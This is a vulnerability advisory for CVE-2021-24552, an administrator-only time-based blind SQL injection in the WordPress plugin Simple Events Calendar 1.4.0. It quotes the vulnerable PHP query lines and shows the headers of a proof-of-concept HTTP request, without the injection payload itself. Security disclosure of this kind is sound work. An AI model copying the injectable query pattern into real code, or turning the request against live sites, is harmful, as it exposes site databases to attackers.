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Wp Plugin Simple Events Calendar

Plugin Details

Plugin Name: wp-plugin: simple-events-calendar

Effected Version: 1.4.0 (and most probably lower version's if any)

Vulnerability: Injection

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24552 Identified by : <u>Shreya Pohekar</u> <u>WPScan Reference URL</u>

Disclosure Timeline

• June 1, 2021: Issue Identified and Disclosed to WPScan

June 2, 2021: Plugin ClosedJuly 20, 2021: CVE Assigned

July 23, 2021 : Public Disclosure

Technical Details

The delete event functionality takes in POST parameter event_id, accessible to Administrator role is not properly sanitised, escaped or validated before being inserted into the SQL statement, leading to time-based blind SQL Injection.

Vulnerable Code: <u>simple-events-calendar.php#L166</u>

```
165: $remove_event = $_POST['event_id'];
166: $wpdb->query(" DELETE FROM $table_name WHERE id = $remove_event ");
167: $result = $wpdb->get_row( "SELECT * FROM $table_name WHERE id = $remove_event" );
```

PoC Screenshot

Exploit

```
POST /wp-admin/admin.php?page=simple-events&tab=existing_events HTTP/1.1

Host: 172.28.128.50

Content-Length: 33

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://172.28.128.50

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex

Referer: http://172.28.128.50/wp-admin/admin.php?page=simple-events&tab=existing_events

Accept-Language: en-US,en;q=0.9

Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1619865839%7CL5fqg1F08rkkhtDGRwC1BvcmDA3wIow4wDpBTHfsL18%7cc79ef02a

Connection: close
```



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